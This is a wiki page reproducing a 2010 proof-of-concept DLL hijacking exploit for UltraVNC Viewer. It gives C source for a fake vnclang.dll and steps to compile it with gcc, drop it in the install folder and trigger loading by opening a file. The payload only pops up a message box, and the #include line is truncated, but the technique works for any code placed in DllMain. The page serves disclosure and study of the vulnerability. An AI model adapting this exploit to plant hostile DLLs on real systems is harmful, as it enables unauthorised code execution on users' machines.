习科小黑板 - Silic Wiki

所属类别 vnclang.dll

vnclang.c

/*
====================================================================
UltraVNC Viewer - Connection 105 DLL Hijacking Exploit (vnclang.dll) 
====================================================================
$ Program: UltraVNC Viewer
$ Version: Connection 105
$ Download: http://www.uvnc.com/
$ Date: 2010/10/08
Found by Pepelux 
http://www.pepelux.org
eNYe-Sec - www.enye-sec.org
Tested on: Windows XP SP2 && Windows XP SP3
How  to use : 
1> Compile this code as vnclang.dll
	gcc -shared -o vnclang.dll thiscode.c
2> Move DLL file to the directory where UltraVNC is installed
3> Open any file recognized by UltraVNC
*/
 
#include 
#define DllExport __declspec (dllexport)
int mes()
{
  MessageBox(0, "DLL Hijacking vulnerable", "Pepelux", MB_OK);
  return 0;
}
BOOL WINAPI  DllMain (
			HANDLE    hinstDLL,
            DWORD     fdwReason,
            LPVOID    lpvReserved)
			{mes();}